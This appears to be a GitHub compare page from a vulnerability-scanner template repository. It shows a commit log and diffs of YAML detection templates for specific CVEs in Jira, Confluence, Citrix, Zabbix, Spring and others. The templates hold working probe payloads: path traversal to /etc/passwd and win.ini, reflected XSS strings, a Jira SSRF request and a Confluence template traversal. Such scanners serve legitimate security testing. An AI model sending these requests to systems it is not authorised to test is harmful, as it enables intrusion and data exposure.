Compare commits

...
136 Commits
Author SHA1 Message Date
bauthard 2ff5be0a36 Merge pull request #233 from bauthard/master
template for CVE-2020-8193 detection
2020-07-11 23:59:37 +05:30
bauthard d21129b102 Merge pull request #236 from dwisiswant0/add-cves
Add CVEs - CVE-2020-8191 & CVE-2020-8194
2020-07-11 23:53:15 +05:30
Dwi Siswanto dd8e298fdc 🔨 Update severity - CVE-2020-8191 2020-07-12 00:54:36 +07:00
Dwi Siswanto 624c89931c 🔥 Add Citrix ADC/Gateway Reflected XSS - CVE-2020-8191 2020-07-12 00:53:33 +07:00
Dwi Siswanto 0c74115ffd 🔥 Add Citrix ADC/Gateway Reflected Code Injection - CVE-2020-8194 2020-07-12 00:52:28 +07:00
bauthard d25b3ec59f Merge pull request #234 from nahoragg/patch-1
header matcher update
2020-07-11 18:09:49 +05:30
bauthard 72c8efa99f Update springboot-detect.yaml 2020-07-11 18:09:10 +05:30
nahoragg 400852776b header matcher update
Came across a condition where this template wasn't matching because the application was sending "application/vnd.spring-boot.actuator.v2+json;charset=UTF-8" instead of "application/json" in content-type header of response.
2020-07-11 18:05:36 +05:30
bauthard b15494d59e tempalte for CVE-2020-8193 detection 2020-07-11 15:45:20 +05:30
bauthard 86059048ae fixing few last one 2020-07-11 12:02:02 +05:30
bauthard 7e7afed768 fixing few templates
need to confirm this before adding this again
2020-07-11 11:39:55 +05:30
bauthard 9f5a756753 Update slack-access-token.yaml 2020-07-11 11:22:19 +05:30
bauthard 5a6bddd7c9 adding condition 2020-07-11 11:20:35 +05:30
bauthard f1eabdefd1 Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates 2020-07-11 10:36:40 +05:30
bauthard 9f5c7e7457 Update front-page-misconfig.yaml 2020-07-11 10:36:03 +05:30
bauthard 292197f823 Merge pull request #231 from dwisiswant0/fix-false-positives
Fix from False-positive Results
2020-07-11 03:33:19 +05:30
Dwi Siswanto d634b2710c 🔨 Fix CVE-2018-5230 from false-positives 2020-07-11 03:38:48 +07:00
Dwi Siswanto 8bb2915b01 🔨 Fix CVE-2020-8512 from false-positives 2020-07-11 03:30:14 +07:00
Dwi Siswanto f216354342 🔨 Fix CVE-2018-19439 from false-positives 2020-07-11 03:12:41 +07:00
Dwi Siswanto 3a2ecdf809 🔨 Fix jolokia-instance from false-positives 2020-07-11 03:04:58 +07:00
Dwi Siswanto 44b27d7939 🔨 Fix exposed-docker-api from false-positives 2020-07-11 02:59:05 +07:00
bauthard de35ddc8a5 Update telerik-dialoghandler-detect.yaml 2020-07-10 15:37:53 +05:30
bauthard 5e9005e2db Update CVE-2017-7529.yaml 2020-07-10 15:08:52 +05:30
bauthard ee41cc2b3d Merge pull request #227 from harsh-bothra/patch-10
Create CVE-2017-6360.yaml
2020-07-10 14:22:40 +05:30
bauthard e67853ce9d Merge pull request #228 from harsh-bothra/patch-11
Create CVE-2017-6361.yaml
2020-07-10 14:22:29 +05:30
bauthard 2a37e53ed4 Update CVE-2017-6360.yaml 2020-07-10 14:19:05 +05:30
bauthard 2bc59cd709 Update CVE-2017-6361.yaml 2020-07-10 14:17:33 +05:30
bauthard 4b04635a8f Merge pull request #229 from Marmelatze/CVE-2017-7529
improve CVE-2017-7529 detection
2020-07-10 13:52:51 +05:30
bauthard f5b2e1b794 Update CVE-2017-7529.yaml 2020-07-10 13:51:33 +05:30
Florian Pfitzer 965e5947cd improve CVE-2017-7529 detection 2020-07-09 13:12:36 +02:00
bauthard 08e082242c Merge pull request #226 from dwisiswant0/fix-false-positives
Fix multiple false-positives
2020-07-09 12:54:16 +05:30
Harsh Bothra aa2fa6a6c2 Create CVE-2017-6361.yaml
Command Injection in authLogin.cgi 'reboot_notice_msg'
2020-07-09 12:40:32 +05:30
Harsh Bothra 704fb54ecc Create CVE-2017-6360.yaml
Command Injection in userConfig.cgi cloudPersonalSmtp 'hash'
2020-07-09 12:37:53 +05:30
dw1 a4f05086d0 🔨 Fix false-positives laravel-env 2020-07-09 03:54:41 +07:00
dw1 af4ba60694 Merge branch 'fix-false-positives' of github.com:dwisiswant0/nuclei-templates into fix-false-positives 2020-07-09 03:48:05 +07:00
dw1 10592308d3 🔨 Fix false-positives - CVE-2018-20824 2020-07-09 03:47:36 +07:00
dw1 08f950e425 🔨 Fix false-positives - CVE-2020-8115 2020-07-09 03:45:08 +07:00
dw1 0ab076bf9a 🔨 Update matchers causes false-positives - CVE-2020-8115 2020-07-09 03:22:44 +07:00
dw1 3206089f45 🔨 Update payload due to false-positives - CVE-2020-13167 2020-07-09 03:02:14 +07:00
bauthard eb87a5ddb8 Removing CVE-2018-6389
as it's an invalid issue.
2020-07-08 23:16:18 +05:30
bauthard 2ba892e2e0 Update jira-exploitaiton-workflow.yaml 2020-07-08 23:13:06 +05:30
bauthard c47a4d881d Merge pull request #215 from harsh-bothra/patch-8
Create CVE-2019-3396.yaml
2020-07-08 23:11:43 +05:30
bauthard 441cdd039d Update CVE-2019-3396.yaml 2020-07-08 23:10:14 +05:30
bauthard aeb81f6eae Update rabbitmq-default-admin.yaml 2020-07-08 23:04:45 +05:30
bauthard 3378e09ebe Rename jira-misconfiguration-workflow.yaml to jira-exploitaiton-workflow.yaml 2020-07-08 23:03:42 +05:30
bauthard a46f76157e Merge pull request #223 from micha3lb3n/master
Adding jira misconfiguration workflow
2020-07-08 23:02:42 +05:30
bauthard 45b992c764 Update jira-misconfiguration-workflow.yaml 2020-07-08 23:00:21 +05:30
bauthard 62249efa6a Merge pull request #224 from hetroublemaker/patch-5
Create CVE-2020-10199.yaml
2020-07-08 22:52:24 +05:30
bauthard db19560721 Update CVE-2020-10199.yaml 2020-07-08 22:51:50 +05:30
bauthard 1aa535afab Merge pull request #225 from dwisiswant0/fix-false+-rabbitmq
Fix from false-positive RabbitMQ default cred results
2020-07-08 22:49:00 +05:30
dw1 9ffe32a0ed 📝 Missing part 2020-07-08 23:50:39 +07:00
dw1 f851f14173 🔨 Fix from false-positive rabbitmq-default-admin results 2020-07-08 23:46:40 +07:00
Micha3lb3n e321f23dcd Adding jira misconfig workflow 2020-07-08 20:46:44 +05:30
Aditya Soni 849ac3599d Create CVE-2020-10199.yaml 2020-07-08 20:41:50 +05:30
Ice3man543 ed4e9e7feb Fixed default condition OR to AND in false-positives 2020-07-08 17:08:57 +05:30
bauthard 507dfb782a Merge pull request #218 from harsh-bothra/patch-9
Create ibm-infoprint-directory-traversal
2020-07-08 15:22:00 +05:30
bauthard f2bfdbfb9f Merge pull request #216 from secureITmania/secureITmania-patch-1
Update CVE-2020-9757 logic
2020-07-08 15:19:51 +05:30
bauthard 7044a9116c Update CVE-2020-5284.yaml 2020-07-08 14:15:47 +05:30
bauthard da431b0aa7 Update elasticsearch.yaml 2020-07-08 14:15:37 +05:30
bauthard 38bc600e99 Update CVE-2020-5284.yaml 2020-07-08 14:15:18 +05:30
bauthard 336bac5e1a Merge pull request #219 from dwisiswant0/add-cves-and-workflows
Add CVE-2020-13167, CVE-2020-7209 & Workflows
2020-07-08 09:46:45 +05:30
dw1 577e3cb429 📝 Remove trailing spaces 2020-07-08 02:55:24 +07:00
dw1 b0aec24951 🔥 Add LinuxKI Toolset RCE - CVE-2020-7209 2020-07-08 02:28:16 +07:00
dw1 a767bea72a 🔥 Add Netsweeper WebAdmin PreAuth RCE Workflow 2020-07-08 02:27:31 +07:00
dw1 f664a763dc 🔨 Add Netsweeper WebAdmin detection 2020-07-08 02:26:45 +07:00
dw1 5f42e15fcb 🔥 Add Netsweeper WebAdmin PreAuth RCE - CVE-2020-13167 2020-07-08 02:26:15 +07:00
Harsh Bothra 3d7f039cbd Rename ibm-infoprint-directory-traversal to ibm-infoprint-directory-traversal.yaml 2020-07-07 17:41:34 +05:30
Harsh Bothra 97db04d90e Create ibm-infoprint-directory-traversal
IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
2020-07-07 17:40:48 +05:30
secureITmania cc260b27b0 Update CVE-2020-9757.yaml
template logic changed
2020-07-07 14:09:32 +05:30
secureITmania 3fdcb6668e Merge pull request #1 from projectdiscovery/master
Update from original
2020-07-07 14:02:35 +05:30
Harsh Bothra ab6bfa0107 Create CVE-2019-3396.yaml
Atlassian Confluence Path Traversal/RCE
2020-07-07 12:54:27 +05:30
bauthard d58fb83331 Merge pull request #214 from harsh-bothra/patch-6
Create CVE-2019-17382.yaml
2020-07-07 11:56:49 +05:30
bauthard 5cfdcf0064 adding matchers-condition
when we are looking to match two condition, we should add matchers-condition, as the default check is OR which will results into false positive results.
2020-07-07 11:56:01 +05:30
bauthard 6a1b383466 Merge pull request #212 from hetroublemaker/patch-4
Create CVE-2020-10204.yaml
2020-07-07 11:50:49 +05:30
bauthard 0a207f55cc Update CVE-2020-10204.yaml 2020-07-07 11:49:48 +05:30
bauthard 350c7e8708 Merge pull request #213 from fyoorer/add-rabbitmq
add rabbitmq default password detection
2020-07-07 11:44:26 +05:30
bauthard aa1660ec79 Update rabbitmq-workflow.yaml 2020-07-07 11:43:50 +05:30
Harsh Bothra 76745f7dcb Create CVE-2019-17382.yaml
Zabbix Authentication Bypass to access Dashboard
2020-07-07 09:47:27 +05:30
Aditya Gujar 5516d741a4 Update rabbitmq-default-admin.yaml 2020-07-06 18:42:01 -04:00
Aditya Gujar 941ab6d875 add rabbitmq default password detection 2020-07-06 18:33:19 -04:00
Aditya Soni 9c8104f937 Create CVE-2020-10204.yaml 2020-07-07 01:54:18 +05:30
bauthard 2499aaa0a6 Update CVE-2018-1247.yaml 2020-07-07 00:37:01 +05:30
bauthard 24eafa3648 updated matcher 2020-07-07 00:34:27 +05:30
bauthard ebb2f1f3ac Merge pull request #210 from harsh-bothra/patch-5
Create CVE-2018-11759.yaml
2020-07-06 22:44:05 +05:30
bauthard ba2fe4bf75 Update CVE-2018-11759.yaml 2020-07-06 22:43:45 +05:30
bauthard 1714fa6674 Merge pull request #209 from harsh-bothra/patch-4
Create CVE-2020-5405.yaml
2020-07-06 22:41:09 +05:30
bauthard 8362fb3dc2 Update CVE-2020-5405.yaml 2020-07-06 22:40:05 +05:30
bauthard bd7a526f32 Merge pull request #208 from Techbrunch/patch-5
Create jira-unauthenticated-projects.yaml
2020-07-06 22:31:11 +05:30
bauthard e2373db418 Update jira-unauthenticated-projects.yaml 2020-07-06 22:30:26 +05:30
bauthard 01ddd1deae Merge pull request #207 from Techbrunch/patch-4
Create jira-unauthenticated-dashboards.yaml
2020-07-06 22:26:16 +05:30
bauthard 503f300230 Merge pull request #206 from Techbrunch/patch-3
Create jira-unauthenticated-popular-filters.yaml
2020-07-06 22:25:48 +05:30
bauthard 63289fb700 Merge pull request #205 from dwisiswant0/update-cve-2020-5902
Update RAW payloads due to can't use helper function - CVE-2020-5902
2020-07-06 22:19:31 +05:30
bauthard 6f7aa0570e Merge pull request #204 from Techbrunch/patch-2
Create CVE-2019-8451.yaml
2020-07-06 22:16:27 +05:30
Harsh Bothra 8b4cf6bd46 Create CVE-2018-11759.yaml
Apache Tomcat JK Status Manager Access
2020-07-06 21:58:42 +05:30
bauthard c278396f2e Merge pull request #203 from melbadry9/patch-2
Update open-redirect.yaml
2020-07-06 21:52:55 +05:30
Harsh Bothra ebcf1ec0f6 Create CVE-2020-5405.yaml
Spring Cloud Directory Traversal
2020-07-06 21:52:18 +05:30
Techbrunch 1b0683e4a3 Create jira-unauthenticated-projects.yaml
If public sharing is ON it allows users to share projects with all users including those that are not logged in. Those projects could reveal potentially sensitive information.
2020-07-06 18:03:33 +02:00
Techbrunch 981979d905 Create jira-unauthenticated-dashboards.yaml
If public sharing is ON it allows users to share dashboards and filters with all users including those that are not logged in. Those dashboard and filters could reveal potentially sensitive information.
2020-07-06 18:02:11 +02:00
Techbrunch a525139cbe Update jira-unauthenticated-popular-filters.yaml 2020-07-06 17:58:12 +02:00
Techbrunch 40238f677f Create jira-unauthenticated-popular-filters.yaml
If public sharing is ON it allows users to share dashboards and filters with all users including those that are not logged in. Those dashboard and filters could reveal potentially sensitive information.
2020-07-06 17:56:34 +02:00
Techbrunch 59661b1eb6 Update CVE-2019-8451.yaml
Fix trailing whitespace
2020-07-06 16:56:27 +02:00
Techbrunch 3a44d74762 Create CVE-2019-8451.yaml
# On September 9, Atlassian released version 8.4.0 for Jira Core and Jira Software, which included a fix for an important
# security issue reported in August 2019.

# CVE-2019-8451 is a pre-authentication server-side request forgery (SSRF) vulnerability found in 
# the /plugins/servlet/gadgets/makeRequest resource. The vulnerability exists due to “a logic bug” in the JiraWhitelist class.
# An unauthenticated attacker could exploit this vulnerability by sending a specially crafted web request to a vulnerable 
# Jira server. Successful exploitation would result in unauthorized access to view and potentially modify internal 
# network resources.
# https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
# https://twitter.com/benmontour/status/1177250393220239360
# https://twitter.com/ojensen5115/status/1176569607357730817
2020-07-06 16:52:34 +02:00
dw1 d19f00bf82 ❌ Update RAW payloads due to can't use helper function 2020-07-06 21:45:44 +07:00
Mohamed Elbadry 3381eed789 Update open-redirect.yaml 2020-07-06 16:21:43 +02:00
bauthard 4337755cbe Merge pull request #202 from melbadry9/patch-1
Update crlf-injection.yaml
2020-07-06 19:48:11 +05:30
Mohamed Elbadry d2f024dc32 Update crlf-injection.yaml 2020-07-06 16:16:27 +02:00
Mohamed Elbadry e255561721 Update crlf-injection.yaml 2020-07-06 16:11:29 +02:00
bauthard 8ef6e99ab3 Merge pull request #200 from dwisiswant0/update-cve-2020-5902
Update CVE-2020-5902 matchers & requests
2020-07-06 19:15:28 +05:30
dw1 2479e51afb 📝 Fix indentation on RAW requests 2020-07-06 18:28:20 +07:00
dw1 f4da7bec43 🔨 Update CVE-2020-5902 matchers & requests to reduce false-positive results 2020-07-06 18:14:01 +07:00
bauthard 0036549365 Merge pull request #199 from Techbrunch/patch-1
Create jira-unauthenticated-user-picker.yaml
2020-07-06 15:59:07 +05:30
Techbrunch d2eb42f149 Update jira-unauthenticated-user-picker.yaml
Fix spaces
2020-07-06 12:28:08 +02:00
Techbrunch 0fc1212d8f Create jira-unauthenticated-user-picker.yaml
Through the user picker functionality within Jira your user base information could be available to anonymous users. The Browse User Global Permission allows a user to view a list of all Jira user names and group names, share issues, and @mention people on issues. This is used for selecting users/groups in popup screens and also enables auto-completion of usernames in most 'User Picker' menus and popups.

If you grant this permission to the Anyone group, you will be allowing anonymous users access to the endpoints that provide a list of users.

Remediation: Ensure that this permission is restricted to specific groups that require it. You can restrict it in Administration > System > Global Permissions.
2020-07-06 12:23:09 +02:00
bauthard 6d498a6054 syntax update 2020-07-06 13:57:46 +05:30
bauthard 295f836a39 updated condition 2020-07-06 13:54:03 +05:30
bauthard 69e4f714e3 Merge pull request #196 from dwisiswant0/custom-workflows
Updating current workflows & Add BIG-IP Pwner Workflow
2020-07-06 10:59:10 +05:30
dw1 257dca57fe 🔨 Update Springboot Actuators detection 2020-07-06 11:26:40 +07:00
dw1 abac4ea061 📝 Update current examples of workflows 2020-07-06 10:06:05 +07:00
dw1 72fcb6ac03 🔥 Add BIG-IP Pwner Workflow 2020-07-06 08:46:04 +07:00
dw1 c3a0b6c5a6 🔨 Update BIG-IP Configuration Utility detection matchers 2020-07-06 08:45:33 +07:00
dw1 550a559108 ✏️ Replace '-' to '_' on variable workflows 2020-07-06 08:39:23 +07:00
dw1 25d5c5afb0 🔥 BIG-IP Configuration Utility detection 2020-07-06 08:36:25 +07:00
bauthard aece3c81f1 Merge pull request #195 from Mad-robot/master
Update CVE-2020-5902.yaml
2020-07-05 22:28:56 +05:30
SaN ThosH dfe6244c7e Update CVE-2020-5902.yaml 2020-07-05 21:51:24 +05:30
bauthard 22c21c3b4a Merge pull request #194 from Mad-robot/master
Update CVE-2020-5902.yaml
2020-07-05 21:50:21 +05:30
SaN ThosH 0fe4c5ee3d Update CVE-2020-5902.yaml 2020-07-05 21:47:48 +05:30
bauthard a06dbcecf2 Merge pull request #193 from Mad-robot/master
Update CVE-2020-5902.yaml
2020-07-05 21:46:47 +05:30
SaN ThosH 4f63a86229 Update CVE-2020-5902.yaml 2020-07-05 21:45:24 +05:30
bauthard 142b96e8bc Merge pull request #192 from Mad-robot/master
Create CVE-2018-3714.yaml
2020-07-05 21:28:53 +05:30
SaN ThosH 06388ed981 Create CVE-2018-3714.yaml
https://hackerone.com/reports/309124
2020-07-05 21:19:09 +05:30
bauthard 0719260160 Merge pull request #191 from bsysop/patch-1
Rename wordpress-user-enumaration.yaml to wordpress-user-enumeration.…
2020-07-05 18:47:30 +05:30
bsysop 8a221a61e0 Rename wordpress-user-enumaration.yaml to wordpress-user-enumeration.yaml
Typo fix
2020-07-05 10:14:24 -03:00
bauthard a1eaee2af4 Merge pull request #188 from dwisiswant0/add-custom-workflows
Add custom workflows
2020-07-05 14:06:24 +05:30
dw1 7d9e2ee2e9 🔥 Add custom workflows 2020-07-05 15:30:28 +07:00
Ice3man 27ddfd3d15 Merge pull request #187 from Mad-robot/master
CVE-2020-5902 F5 BIG-IP TMUI
2020-07-05 01:13:54 -07:00
SaN ThosH 193d536685 CVE-2020-5902 F5 BIG-IP TMUI
Version:  
- BIG-IP 15.x: 15.1.0/15.0.0
- BIG-IP 14.x: 14.1.0 ~ 14.1.2
- BIG-IP 13.x: 13.1.0 ~ 13.1.3
- BIG-IP 12.x: 12.1.0 ~ 12.1.5
- BIG-IP 11.x: 11.6.1 ~ 11.6.5
2020-07-05 13:41:58 +05:30
93 changed files with 911 additions and 76 deletions

No files matched your search

+10 -10
View File
@@ -563,18 +563,18 @@ variables:
# relative path support is now added into the nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira-cve-1: cves/CVE-2018-20824.yaml
jira-cve-2: cves/CVE-2019-3399.yaml
jira-cve-3: cves/CVE-2019-11581.yaml
jira-cve-4: cves/CVE-2017-18101.yaml
jira_cve_1: cves/CVE-2018-20824.yaml
jira_cve_2: cves/CVE-2019-3399.yaml
jira_cve_3: cves/CVE-2019-11581.yaml
jira_cve_4: cves/CVE-2017-18101.yaml
logic:
|
if jira() {
jira-cve-1()
jira-cve-2()
jira-cve-3()
jira-cve-4()
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
}
```
@@ -594,14 +594,14 @@ variables:
# relative path support is now added into the nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira-pwn: my-jira-templates/
jira_pwn: my-jira-templates/
# defining directory to run all the templates
logic:
|
if jira() {
jira-pwn()
jira_pwn()
}
```
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- '{{BaseURL}}'
matchers-condition: and
matchers:
- type: dsl
dsl:
+6
View File
@@ -18,7 +18,13 @@ requests:
Range: bytes=-17208,-9223372036854758792
Accept-Encoding: gzip, deflate
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 206
- type: word
words:
- Content-Range
part: all
+1
View File
@@ -12,6 +12,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
matchers-condition: and
matchers:
- type: word
words:
+1
View File
@@ -11,6 +11,7 @@ requests:
- "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
- "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
- "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
matchers-condition: and
matchers:
- type: status
status:
+1 -1
View File
@@ -12,7 +12,7 @@ requests:
path:
- '{{BaseURL}}/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json'
- '{{BaseURL}}/__raw/services/server/info/server-info?output_mode=json'
matchers-condition: and
matchers:
- type: status
status:
+22
View File
@@ -0,0 +1,22 @@
id: CVE-2018-11759
info:
name: Apache Tomcat JK Status Manager Access
author: Harsh Bothra
severity: Medium
# source:- https://github.com/immunIT/CVE-2018-11759
requests:
- method: GET
path:
- '{{BaseURL}}/jkstatus'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "JK Status Manager"
+6
View File
@@ -9,8 +9,14 @@ requests:
- method: GET
path:
- "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//"
matchers-condition: and
matchers:
- type: word
words:
- "application/x-shockwave-flash"
part: header
- type: word
words:
- "javascript:alert(1337)"
part: body
+1
View File
@@ -11,6 +11,7 @@ requests:
path:
- '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
- '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
matchers-condition: and
matchers:
- type: word
words:
+2 -2
View File
@@ -2,7 +2,7 @@ id: CVE-2018-19439
info:
name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
author: madrobot
author: madrobot & dwisiswant0
severity: high
requests:
@@ -12,5 +12,5 @@ requests:
matchers:
- type: word
words:
- "<script>alert(1337)</script>"
- "<script>alert(1337)</script><!--</TITLE>"
part: body
+5 -4
View File
@@ -2,18 +2,19 @@ id: CVE-2018-20824
info:
name: Atlassian Jira WallboardServlet XSS
author: madrobot
author: madrobot & dwisiswant0
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- alert(document.domain)
- type: regex
regex:
- (?mi)timeout:\salert\(document\.domain\)
part: body
+19
View File
@@ -0,0 +1,19 @@
id: CVE-2018-3714
info:
name: node-srv Path Traversal
author: madrobot
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/node_modules/../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/assets/file:%2f%2f/etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
+2 -1
View File
@@ -9,11 +9,12 @@ requests:
- method: GET
path:
- "{{BaseURL}}/pages/includes/status-list-mo%3CIFRAME%20SRC%3D%22javascript%3Aalert%281337%29%22%3E.vm"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "javascript:alert(1337)"
- "SRC=\"javascript:alert(1337)\">"
part: body
-16
View File
@@ -1,16 +0,0 @@
id: CVE-2018-6389
info:
name: Wordpress Load Script
author: nadino
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/load-scripts.php?load="
matchers:
- type: dsl
dsl:
- 'contains(x_powered_by,"Engine")'
- 'contains(content_type,"javascript")'
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -10,6 +10,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"
matchers-condition: and
matchers:
- type: status
status:
+21
View File
@@ -0,0 +1,21 @@
id: CVE-2019-17382
info:
name: Zabbix Authentication Bypass
author: Harsh Bothra
severity: Critical
# source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
requests:
- method: GET
path:
- '{{BaseURL}}/zabbix.php?action=dashboard.view&dashboardid=1'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<title>Dashboard</title>"
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/Login?!'><sVg/OnLoAD=alert`1337`//"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -10,6 +10,7 @@ requests:
path:
- "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
- "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
matchers-condition: and
matchers:
- type: word
words:
+31
View File
@@ -0,0 +1,31 @@
id: CVE-2019-3396
info:
author: "Harsh Bothra"
name: "Atlassian Confluence Path Traversal"
severity: High
# https://github.com/x-f1v3/CVE-2019-3396
requests:
- raw:
- |
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Referer: {{Hostname}}
Content-Length: 168
Accept-Encoding: gzip, deflate
Connection: close
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<param-name>contextConfigLocation</param-name>"
+1
View File
@@ -8,6 +8,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -12,6 +12,7 @@ requests:
- "{{BaseURL}}"
headers:
Accept: ../../../../../../../../etc/passwd{{
matchers-condition: and
matchers:
- type: status
status:
+1 -1
View File
@@ -11,7 +11,7 @@ requests:
- method: GET
path:
- '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
matchers-condition: and
matchers:
- type: status
status:
+31
View File
@@ -0,0 +1,31 @@
id: CVE-2019-8451
info:
name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
author: "TechbrunchFR"
severity: medium
# On September 9, Atlassian released version 8.4.0 for Jira Core and Jira Software, which included a fix for an important
# security issue reported in August 2019.
# CVE-2019-8451 is a pre-authentication server-side request forgery (SSRF) vulnerability found in
# the /plugins/servlet/gadgets/makeRequest resource. The vulnerability exists due to “a logic bug” in the JiraWhitelist class.
# An unauthenticated attacker could exploit this vulnerability by sending a specially crafted web request to a vulnerable
# Jira server. Successful exploitation would result in unauthorized access to view and potentially modify internal
# network resources.
# https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
# https://twitter.com/benmontour/status/1177250393220239360
# https://twitter.com/ojensen5115/status/1176569607357730817
requests:
- method: GET
path:
- '{{BaseURL}}/plugins/servlet/gadgets/makeRequest?url=https://{{Hostname}}:[email protected]'
headers:
X-Atlassian-token: no-check
matchers:
- type: word
name: ssrf-response-body
words:
- '<p>This domain is for use in illustrative examples in documents.'
part: body
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -8,6 +8,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
+26
View File
@@ -0,0 +1,26 @@
id: CVE-2020-10199
info:
name: Nexus Repository Manager 3 RCE
auhtor: hetroublemakr
severity: high
